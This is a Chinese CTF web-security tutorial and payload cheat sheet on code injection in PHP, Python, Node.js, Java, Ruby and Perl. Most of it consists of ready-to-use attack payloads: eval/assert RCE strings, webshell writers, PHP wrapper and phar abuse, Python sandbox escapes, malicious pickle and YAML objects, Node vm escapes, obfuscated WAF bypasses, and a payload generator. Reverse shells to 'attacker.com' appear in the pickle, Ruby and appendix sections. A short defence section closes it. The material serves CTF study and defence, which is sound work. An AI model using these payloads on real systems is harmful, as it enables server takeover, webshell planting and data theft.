P06 代码注入

2022-03-11 CTF-WEB 詹英

梳理代码注入(Code Injection)漏洞的成因、各语言危险函数、利用技巧与 WAF 绕过方法。


一、代码注入概述与原理

1.1 定义

代码注入(Code Injection)是指攻击者将恶意代码片段注入到应用程序中,使其被语言解释器(PHP、Python、JS 等)当作合法代码执行,从而获得任意代码执行能力。

与命令注入的区别:

类型 执行层 载体 示例危险函数
代码注入 语言解释器 PHP/Python/JS 代码 eval(), exec(), assert()
命令注入 操作系统 Shell Shell 命令 system(), popen(), exec()

实际场景中两者常常相互转化:代码注入中可调用系统函数,命令注入的后果也可导致代码执行。

1.2 成因分析

用户输入 → 未经净化/验证 → 拼接为代码字符串 → 解释器执行

核心成因:

  • 将用户可控数据传入 eval()assert() 等动态执行函数
  • 模板引擎未沙箱隔离,用户输入直接参与模板渲染
  • 正则替换开启 /e 修饰符(PHP 旧版本)
  • 动态 require/include 使用用户输入决定路径和内容
  • 反序列化时触发 __wakeup/__destruct 中的代码执行

1.3 危害等级

危害类型 说明 危害等级
任意代码执行 (RCE) 在服务器上执行任意代码 🔴 严重
任意文件读取 读取服务器敏感文件 🔴 严重
任意文件写入 写入 WebShell 或篡改文件 🔴 严重
信息泄露 获取配置、密钥、数据库凭证 🟠 高
权限提升 以服务器权限横向移动 🔴 严重

二、PHP 代码注入

2.1 危险函数全览

直接代码执行类

函数 说明 PHP 版本 风险等级
eval(string $code) 将字符串作为 PHP 代码执行 全版本 🔴 严重
assert(mixed $assertion) PHP<8 中字符串参数被当作代码执行 <8.0 🔴 严重
preg_replace('/pattern/e', $replacement, $subject) 替换字符串中作为 PHP 代码执行(已废弃) <7.0 🔴 严重
create_function(string $args, string $code) 创建匿名函数(已废弃) <8.0 🔴 严重
call_user_func(callable $fn, ...$args) 调用任意可调用对象 全版本 🔴 严重
call_user_func_array(callable $fn, array $args) 带参数数组的回调调用 全版本 🔴 严重
array_map(callable $fn, array $arr) 对数组每个元素执行回调 全版本 🔴 严重
array_filter(array $arr, callable $fn) 过滤数组时执行回调 全版本 🔴 严重
array_walk(array &$arr, callable $fn) 遍历数组执行回调 全版本 🔴 严重
usort(array &$arr, callable $fn) 自定义排序回调 全版本 🔴 严重
uasort / uksort 同 usort 全版本 🔴 严重

动态包含类(可触发代码执行)

函数 说明 风险等级
include($file) 包含并执行 PHP 文件 🔴 严重
include_once($file) 同 include,但只包含一次 🔴 严重
require($file) 包含文件,失败则致命错误 🔴 严重
require_once($file) 同 require,但只包含一次 🔴 严重

序列化/反序列化类

函数 说明 风险等级
unserialize(string $data) 反序列化用户数据可触发魔术方法 🔴 严重
json_decode() 配合对象注入 🟡 中

2.2 eval 注入利用

基础利用

// 危险代码示例
$code = $_GET['code'];
eval($code);

// 攻击 Payload(直接 RCE)
?code=system('id');
?code=phpinfo();
?code=echo shell_exec('whoami');

// 攻击 Payload(写 WebShell)
?code=file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>');

// 攻击 Payload(读取敏感文件)
?code=echo file_get_contents('/etc/passwd');
?code=var_dump(scandir('/'));

上下文拼接场景

// 场景1:字符串拼接(需闭合引号)
$name = $_GET['name'];
eval("echo 'Hello, $name!';");

// 攻击:?name=';system('id');//
// 实际执行:echo 'Hello, ';system('id');//!';

// 场景2:双引号拼接(需利用变量解析)
eval("echo \"Hello, $name\";");
// 攻击:?name=${system('id')}
// 注意:PHP 双引号内 ${...} 执行变量解析

// 场景3:带前缀的代码执行
$action = $_GET['action'];
eval("do_{$action}();");
// 攻击:?action=nothing');system('id');//
// 实际执行:do_nothing');system('id');//();

绕过过滤的 eval Payload

// 过滤了 system、exec 等关键字
// 方法1:字符串拼接
$f = 'sys'.'tem'; $f('id');

// 方法2:base64 解码
eval(base64_decode('c3lzdGVtKCdpZCcp'));
// base64_decode('c3lzdGVtKCdpZCcp') = system('id')

// 方法3:字符转义
eval("\x73\x79\x73\x74\x65\x6d\x28\x27\x69\x64\x27\x29");
// \x73\x79\x73\x74\x65\x6d = system

// 方法4:ROT13
// str_rot13('flfgrz')='system'
eval(str_rot13('flfgrz("vq")'));

// 方法5:可变变量
$a = 'assert'; $a($_POST['x']);
$$a = 'system'; // 动态变量名

// 方法6:反引号执行(赋值给 eval 内)
eval('echo `id`;');

// 方法7:利用 PHP 内置类
eval('$o = new SplFileObject("/etc/passwd"); echo $o->fread($o->getSize());');

2.3 动态函数调用注入

call_user_func 系列

// 危险代码
$func = $_GET['func'];
$arg  = $_GET['arg'];
call_user_func($func, $arg);

// 攻击 Payload
?func=system&arg=id
?func=passthru&arg=id
?func=assert&arg=system('id')
?func=file_get_contents&arg=/etc/passwd

// call_user_func_array
call_user_func_array($_GET['func'], [$_GET['arg']]);
?func=system&arg=id

数组回调注入

// 危险代码(array_map)
$arr  = $_POST['data'];  // ['1','2','3']
$func = $_POST['func'];  // 'system'
array_map($func, $arr);

// 攻击:func=system&data[]=id

// usort 回调注入
usort($_POST['arr'], $_POST['func']);
// 攻击:func=system&arr[]=id&arr[]=id
// 或使用:func=assert&arr[]='system("id")'

// array_filter
array_filter(['id'], $_GET['func']);
// 攻击:?func=system

变量函数(Variable Function)

// PHP 特性:变量内容为函数名时可直接调用
$func = $_GET['func'];
$func();              // 攻击:?func=phpinfo 或 ?func=system → 再需要参数的场景

// 带参数场景
$func = $_GET['func'];
$arg  = $_GET['arg'];
$func($arg);          // 攻击:?func=system&arg=id

2.4 PHP 伪协议利用

PHP 伪协议在文件包含漏洞中可触发代码执行:

php://input(读取 POST 原始数据)

// 危险代码
include($_GET['file']);

// 攻击:GET: ?file=php://input
// POST Body: <?php system('id'); ?>

// 注意:需要 allow_url_include = On

php://filter(读取源码 / 绕过死亡 exit)

// 读取 PHP 源码(Base64 编码避免被执行)
?file=php://filter/convert.base64-encode/resource=index.php
// 返回 Base64 编码的 index.php 源码

// 读取敏感配置
?file=php://filter/convert.base64-encode/resource=/etc/passwd

// 链式过滤器(绕过死亡代码)
// 目标文件会写入 <?php exit; ?> 前缀,使 Webshell 失效
// 利用 base64 解码特性绕过:
// base64 中 <?php exit;?> 解码后为乱码,真正的 Payload 正常执行
?file=php://filter/write=convert.base64-decode/resource=shell.php
// POST: PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+
// (解码后写入:<?php @eval($_POST[cmd]);?>)

// 更多 filter 链
php://filter/read=string.rot13/resource=index.php
php://filter/read=convert.iconv.UTF-8.UTF-16/resource=index.php

// 利用 filter 链 RCE(无需文件写入,PHP 8.0 以下)
// 通过串联多个 filter 转换,将任意字符串变形为可执行 PHP 代码
php://filter/convert.iconv.UTF-8.CSISO2022KR|convert.base64-encode|...|/resource=/dev/null

data:// URI(直接执行代码)

// 需要 allow_url_include = On
?file=data://text/plain,<?php system('id'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
//                                ↑ base64: <?php system('id');?>

// URL 编码版本(绕过部分过滤)
?file=data:text/plain,%3c%3fphp+system(%27id%27)%3b%3f%3e

phar://(反序列化触发代码执行)

// 1. 构造含恶意序列化对象的 phar 文件
<?php
class EvilClass {
    function __destruct() { system($this->cmd); }
}
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new EvilClass();
$obj->cmd = 'id';
$phar->setMetadata($obj);
$phar->stopBuffering();
?>

// 2. 上传 evil.phar 后包含
?file=phar:///var/www/html/uploads/evil.phar/test.txt
// 触发 __destruct → system('id')

// 3. phar:// 配合文件操作函数
// file_exists / filetime / filesize 等也会触发 phar 反序列化
file_exists('phar:///var/www/html/uploads/evil.jpg');  // 伪装成图片

zip:// / zlib:// / bzip2://

// zip:// 包含 ZIP 内的 PHP 文件
?file=zip:///var/www/html/uploads/shell.zip%23shell.php
// 或
?file=zip:///tmp/shell.zip#shell.php

// 构造 zip 文件(将 shell.php 压缩为 zip)
// shell.php 内容: <?php system($_GET['cmd']); ?>

// glob:// 目录枚举(信息收集)
?file=glob:///var/www/html/*.php   // 列举所有 PHP 文件

伪协议支持条件汇总

伪协议 需要 allow_url_fopen 需要 allow_url_include 主要用途
php://input OFF ON POST 数据作为代码执行
php://filter OFF OFF 源码读取、绕过 exit
data:// OFF ON 内联数据执行代码
phar:// OFF OFF 反序列化触发
zip:// OFF OFF 包含 ZIP 内文件
http:// ON ON 远程文件包含
file:// OFF OFF 本地文件包含

2.5 preg_replace /e 注入

PHP 5.x 时代的漏洞,/e 修饰符使替换字符串作为 PHP 代码执行(PHP 7.0 已废弃):

// 危险代码
$input = $_GET['input'];
preg_replace('/<div>(.*?)<\/div>/e', $input, '<div>test</div>');

// 攻击:?input=system('id')
// preg_replace 会将 $input 作为代码执行

// 另一种写法
preg_replace('/' . $_GET['pattern'] . '/e', $_GET['replace'], 'test');
// 攻击:?pattern=(.*)&replace=system('id')

// 更隐蔽的场景(模式可控)
preg_replace("/{$_GET['key']}/e", $_GET['value'], $string);
// 攻击:?key=.*&value=system('id')

三、Python 代码注入

3.1 eval / exec 注入

危险函数

函数 说明 风险等级
eval(expression) 执行字符串表达式,返回结果 🔴 严重
exec(object) 执行字符串或代码对象,无返回值 🔴 严重
compile(source, filename, mode) 编译代码为字节码后可执行 🔴 严重
__import__(name) 动态导入模块 🔴 严重
input() Python 2 中等价于 eval(raw_input()) 🔴 严重(Py2)
subprocess.* 执行子进程 🟡 高
os.system() 执行 Shell 命令 🟡 高
os.popen() 打开管道执行命令 🟡 高
pickle.loads() 反序列化可执行任意代码 🔴 严重
yaml.load() 不安全的 YAML 加载 🔴 严重

eval / exec 利用

# 危险代码
user_input = input("Enter expression: ")
result = eval(user_input)

# 攻击 Payload
__import__('os').system('id')
__import__('os').popen('id').read()
__import__('subprocess').check_output(['id'])

# 利用 builtins 执行命令
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0](['id'], stdout=-1).communicate()

# 通过 compile + exec 绕过
eval(compile("import os; os.system('id')", '<string>', 'exec'))

# 利用 breakpoint()(Python 3.7+)
eval("breakpoint()")  # 进入 pdb 调试,可执行命令

沙箱逃逸(绕过 builtins 限制)

# 场景:__builtins__ 被清空或置为 None
eval_env = {'__builtins__': {}}
eval(user_input, eval_env)  # 看似安全,实则可绕过

# 逃逸方法1:通过内置类型访问 builtins
()  .__class__.__bases__[0].__subclasses__()  # 获取所有子类
# 找到包含 os 引用的类

# 逃逸方法2:利用 __mro__ 链
''.__class__.__mro__[1].__subclasses__()

# 逃逸方法3:通过 warnings 模块
[x for x in ''.__class__.__mro__[1].__subclasses__()
 if 'warning' in x.__name__][0]()._module.__builtins__

# 逃逸方法4:利用生成器的 gi_frame
[x for x in ()
 .__class__
 .__base__
 .__subclasses__()
 if x.__name__ == 'catch_warnings'
][0]()._module.__builtins__['__import__']('os').system('id')

# 通用查找 os 模块的方法
for x in ''.__class__.__mro__[-1].__subclasses__():
    if hasattr(x, '__init__') and hasattr(x.__init__, '__globals__'):
        if 'os' in x.__init__.__globals__:
            print(x, x.__init__.__globals__['os'].system('id'))
            break

# 最短 Payload(寻找 _wrap_close 类)
[ x.__init__.__globals__ for x in ''.__class__.__mro__[-1].__subclasses__()
  if x.__name__ == '_wrap_close'][0]['system']('id')

Pickle 反序列化 RCE

import pickle, os, base64

# 构造恶意 Pickle 对象
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

# 序列化
payload = pickle.dumps(Exploit())
payload_b64 = base64.b64encode(payload).decode()
print(f"Payload (base64): {payload_b64}")

# 服务端 pickle.loads(payload) 触发 os.system('id > /tmp/pwned')

# 反弹 Shell 版本
class ReverseShell(object):
    def __reduce__(self):
        cmd = 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
        return (os.system, (cmd,))

payload = pickle.dumps(ReverseShell())

PyYAML 不安全加载

import yaml

# 危险写法(yaml.load 不指定 Loader)
data = yaml.load(user_input)          # 旧版本危险
data = yaml.load(user_input, Loader=yaml.Loader)  # 不安全

# 安全写法
data = yaml.safe_load(user_input)
data = yaml.load(user_input, Loader=yaml.SafeLoader)

# 攻击 Payload(PyYAML RCE)
!!python/object/apply:os.system ['id']
!!python/object/apply:subprocess.check_output [['id']]

# 更复杂的 Payload
!!python/object/new:type
  args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
  listitems: "import os; os.system('id')"

3.2 SSTI 代码执行

Python 常见 SSTI 见专项模板注入文档,此处补充核心利用链:

# Jinja2 标准 RCE Payload
{{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}

# 自动查找 Popen 类索引的脚本
import requests

url = "http://target.com/render?name="
for i in range(500):
    payload = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) + "].__name__}}"
    r = requests.get(url + payload)
    if 'Popen' in r.text:
        print(f"[+] Popen index: {i}")
        break

# 找到索引后执行命令
payload = "{{''.__class__.__mro__[1].__subclasses__()[273](['id'],stdout=-1).communicate()}}"

四、JavaScript / Node.js 代码注入

4.1 危险函数

函数/方法 说明 风险等级
eval(string) 执行字符串代码 🔴 严重
Function(string) 创建函数对象执行代码 🔴 严重
setTimeout(string, n) 字符串参数被执行 🔴 严重
setInterval(string, n) 字符串参数被执行 🔴 严重
vm.runInNewContext(code) VM 模块执行代码 🔴 严重
child_process.exec(cmd) 执行 Shell 命令 🔴 严重
child_process.execSync(cmd) 同步执行 Shell 命令 🔴 严重
child_process.spawn(cmd) 创建子进程 🟡 高

4.2 利用技巧

eval 注入

// 危险代码
const result = eval(req.query.code);
res.send(result);

// 攻击 Payload
?code=require('child_process').execSync('id').toString()
?code=require('fs').readFileSync('/etc/passwd').toString()
?code=require('child_process').execSync('cat /flag').toString()

// 带 JSON 的场景
const obj = eval('(' + req.body.json + ')');
// 攻击:{"a": (function(){return require('child_process').execSync('id').toString()})()}

Function 构造器注入

// 用 Function 绕过某些对 eval 的限制
const func = new Function(req.query.code);
func();
// 攻击:?code=return require('child_process').execSync('id').toString()

// 箭头函数变体
const fn = new Function('return ' + req.query.expr);
fn();
// 攻击:?expr=require('child_process').execSync('id').toString()

Node.js VM 沙箱逃逸

// 危险代码(看似安全的 vm 沙箱)
const vm = require('vm');
const sandbox = { result: null };
vm.createContext(sandbox);
vm.runInContext(req.query.code, sandbox);

// 沙箱逃逸 Payload
// 通过 constructor 链访问宿主环境
this.constructor.constructor('return process')().exit()

// 获取 require(Node.js 沙箱逃逸)
(function(){
  return this.constructor.constructor('return process.mainModule.require("child_process")')()
    .execSync('id').toString()
})()

// 利用 Buffer 逃逸
const {exec} = this.constructor.constructor('return process.binding("buffer")')()
  .Buffer.from.constructor('return this')().require('child_process')

原型链污染到 RCE

// 通过原型链污染影响 child_process 选项
// 污染 Object.prototype
Object.prototype.shell = true;
Object.prototype.env = { NODE_OPTIONS: '--require /tmp/evil.js' };

// 下次调用 execSync 时使用被污染的 options
require('child_process').execSync('id');  // 加载 /tmp/evil.js

五、其他语言代码注入

5.1 Java 代码注入

// 危险:使用反射调用用户控制的方法
String className = request.getParameter("class");
String methodName = request.getParameter("method");
Class<?> cls = Class.forName(className);
Method method = cls.getMethod(methodName);
method.invoke(null);

// 攻击:?class=java.lang.Runtime&method=getRuntime → 获取 Runtime 实例

// Groovy ScriptEngine 注入
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
engine.eval(request.getParameter("script"));
// 攻击:?script="id".execute().text

// 表达式注入(SpEL)
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(request.getParameter("expr"));
// 攻击:?expr=T(java.lang.Runtime).getRuntime().exec('id')

// OGNL 注入(Struts2 等框架)
// 攻击:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).start(),...}

5.2 Ruby 代码注入

# 危险函数
eval(user_input)           # 直接代码执行
send(method_name, args)    # 动态方法调用

# 内核方法(执行 Shell 命令)
`id`                       # 反引号
system("id")
exec("id")
%x{id}                     # 等价于反引号
IO.popen("id")
open("|id")                # open 管道写法

# 攻击 Payload(eval 注入)
`id`
system("id")
exec("bash -i >& /dev/tcp/attacker.com/4444 0>&1")
require 'open3'; Open3.capture2e("id")[0]

5.3 Perl 代码注入

# 危险函数
eval($user_input);         # 直接代码执行
system($cmd);              # Shell 命令执行
`$cmd`;                    # 反引号

# 攻击 Payload
system("id");
`id`;
open(FH, "id |"); while(<FH>){print;}

六、代码注入 WAF 绕过

6.1 PHP eval 过滤绕过

关键字分割

// 过滤了 system、exec 等
// 方法1:字符串拼接
('sys'.'tem')('id');
$f='sys'.'tem'; $f('id');

// 方法2:数组取字符
$_='';
$_[++'Hello']... // 逐字符构造

// 方法3:利用异或/取反构造字符串(经典 PHP 无字母数字 Payload)
// 异或法:两个非字母字符异或得到字母
$_=('%01'^'`').('%13'^'`').('%19'^'`').('%05'^'`').('%12'^'`').('%05'^'`'); // assert

PHP 无字母数字 WebShell(经典技巧)

// 利用异或/取反/自增构造任意函数名

// 方法1:取反(~)
// ~chr(x) 得到另一个字符,两次取反回原值
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c")  // system('id')

// 方法2:异或(^)
// 'a'^'!' = 'A' 等
$__=('%61'^'%04');  // 'a' ^ 非打印字符

// 方法3:自增
// PHP 字符串自增:'a'++ = 'b', 'z'++ = 'aa'
$_='a'; for($i=0;$i<17;$i++){ echo ++$_.' '; }
// 依次得到:b c d e f g h i j k l m n o p q r

// 完整示例(构造 phpinfo)
$___=_; $_=$$___;  // 等价于 $_ = $_
// 通过 POST/GET 参数传入函数名和参数

// 方法4:利用 POST 参数绕过(不写死 Payload)
// ?a=system POST:b=id
$_POST['a']($_POST['b']);

6.2 编码绕过

// Base64 解码执行
eval(base64_decode('c3lzdGVtKCdpZCcp'));

// Hex 解码执行
eval(hex2bin('73797374656d2827696427293b'));

// Gzip + Base64
eval(gzinflate(base64_decode('...')));
eval(gzuncompress(base64_decode('...')));

// ROT13
eval(str_rot13('flfgrz("vq")'));

// URL 解码
eval(urldecode('%73%79%73%74%65%6d%28%27%69%64%27%29'));

// 多重编码嵌套
eval(base64_decode(strrev('KSdpZCcobWV0c3lz')));

6.3 利用 PHP 特性构造执行

// 利用异常处理
try { throw new Exception(system('id')); } catch(Exception $e) {}

// 利用 preg_replace_callback
preg_replace_callback('/(.+)/i', function($m){ system($m[1]); }, 'id');

// 利用 array_reduce
array_reduce(['id'], 'system', '');

// 利用 ob_start 回调
ob_start('system'); echo 'id'; ob_end_flush();

// 利用 register_tick_function
register_tick_function('system', 'id'); declare(ticks=1) {}

// 利用 register_shutdown_function
register_shutdown_function('system', 'id');

6.4 WAF 绕过速查表

过滤目标 绕过方法 示例
system / exec 等关键字 字符串拼接 'sys'.'tem'
字母数字黑名单 异或/取反/自增 (~"\x8c\x86...")
关键字过滤 Base64 解码 eval(base64_decode(...))
关键字过滤 Hex 解码 eval(hex2bin(...))
关键字过滤 ROT13 eval(str_rot13(...))
eval 函数过滤 回调函数替代 array_map / ob_start
文件包含过滤 伪协议绕过 php://input / data://

七、CTF 实战思路

7.1 代码注入快速判断

发现可能的注入点 →
  ├── 参数出现在 eval/assert 等函数中 → 直接代码执行
  ├── 文件包含路径可控 → LFI/RFI → 伪协议利用
  ├── 模板引擎输出 → SSTI → 模板注入
  ├── unserialize 可控 → PHP 反序列化 → POP 链
  └── 函数名/回调可控 → 动态函数调用

7.2 常见 CTF 代码注入场景

// 场景1:eval 代码执行
$code = $_GET['code'];
eval($code);
// Payload:?code=system('cat /flag');

// 场景2:assert 注入(PHP < 8)
assert($_GET['code']);
// Payload:?code=system('id')

// 场景3:preg_replace /e(PHP < 7)
preg_replace('/(.*)/e', $_GET['r'], 'test');
// Payload:?r=system('id')

// 场景4:create_function(PHP < 8)
$f = create_function('', $_GET['code']);
$f();
// Payload:?code=system('id');

// 场景5:call_user_func 回调
call_user_func($_GET['func'], $_GET['arg']);
// Payload:?func=system&arg=cat /flag

// 场景6:include 文件包含
include($_GET['file']);
// Payload:?file=php://input(POST: <?php system('cat /flag'); ?>)

// 场景7:Pickle 反序列化(Python)
import pickle
pickle.loads(base64.b64decode(request.args.get('data')))
// Payload:构造含 __reduce__ 的 Pickle 对象

7.3 PHP 无字母数字 Payload 生成

#!/usr/bin/env python3
"""生成 PHP 无字母数字 WebShell Payload(取反法)"""

def gen_not_payload(func_name: str, arg: str) -> str:
    """生成取反法无字母数字 Payload"""
    def not_encode(s: str) -> str:
        result = '~"'
        for c in s:
            result += '\\x{:02x}'.format(~ord(c) & 0xff)
        result += '"'
        return result

    f = not_encode(func_name)
    a = not_encode(arg)
    return f'({f})({a});'

# 示例
print(gen_not_payload('system', 'id'))
# 输出:(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c");

print(gen_not_payload('phpinfo', ''))

八、防御措施

8.1 代码注入防御

// 1. 永远不要将用户输入传入 eval()、assert() 等函数

// 2. 禁用危险函数(php.ini)
disable_functions = eval,assert,preg_replace,create_function,
  call_user_func,call_user_func_array,array_map,array_filter,
  usort,system,exec,passthru,shell_exec,popen,proc_open

// 3. 文件包含使用白名单
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed_pages)) {
    die('Invalid page');
}
include("pages/{$page}.php");  // 固定前缀和后缀

// 4. 关闭危险 PHP 配置
allow_url_include = Off      // 禁止远程文件包含
allow_url_fopen = Off        // 禁止远程文件打开(视业务需求)

// 5. 反序列化使用签名验证
$data = base64_decode($_COOKIE['session']);
$hmac = hash_hmac('sha256', $data, SECRET_KEY);
if (!hash_equals($hmac, $_COOKIE['sig'])) {
    die('Tampered data');
}
$obj = unserialize($data);

// 6. 使用安全的替代方案(Python)
import ast
ast.literal_eval(user_input)  # 只允许字面量,不执行代码
# 替代危险的 eval()

8.2 防御检查清单

✅ 禁止将用户输入传入 eval / exec / assert 等动态执行函数
✅ 禁止将用户输入用于 include / require 路径(使用白名单)
✅ php.ini 中配置 disable_functions 禁用危险函数
✅ 关闭 allow_url_include 防止远程文件包含
✅ 开启 open_basedir 限制文件访问范围
✅ 反序列化数据使用 HMAC 签名验证,防止篡改
✅ Python 使用 ast.literal_eval 替代 eval()
✅ Node.js 避免使用 eval / Function / vm.runInNewContext 处理用户输入
✅ 对动态函数名使用白名单验证,不允许任意函数调用
✅ 定期扫描代码中 eval / exec 等危险调用点,进行安全审计
✅ 最小权限原则:Web 进程不应以 root 运行
✅ 部署 WAF,检测代码注入特征(base64_decode + eval 组合等)

附录:Payload 速查

PHP 代码注入常用 Payload

// 直接 RCE
system('id');
passthru('id');
shell_exec('id');
`id`;
echo exec('id');

// 写 WebShell
file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>');
system('echo "<?php system(\$_GET[cmd]);?>" > /var/www/html/shell.php');

// 读文件
echo file_get_contents('/etc/passwd');
echo readfile('/etc/passwd');
print_r(file('/etc/passwd'));

// 列目录
var_dump(scandir('/'));
print_r(glob('/*'));

// 反弹 Shell
system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"');

Python 代码注入常用 Payload

# 执行命令
__import__('os').system('id')
__import__('os').popen('id').read()
__import__('subprocess').check_output('id',shell=True).decode()

# 读文件
open('/etc/passwd').read()
__import__('pathlib').Path('/flag').read_text()

# 反弹 Shell
__import__('os').system('bash -i >& /dev/tcp/attacker.com/4444 0>&1')

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行攻击属于违法行为,请在合法合规的环境中学习与实践。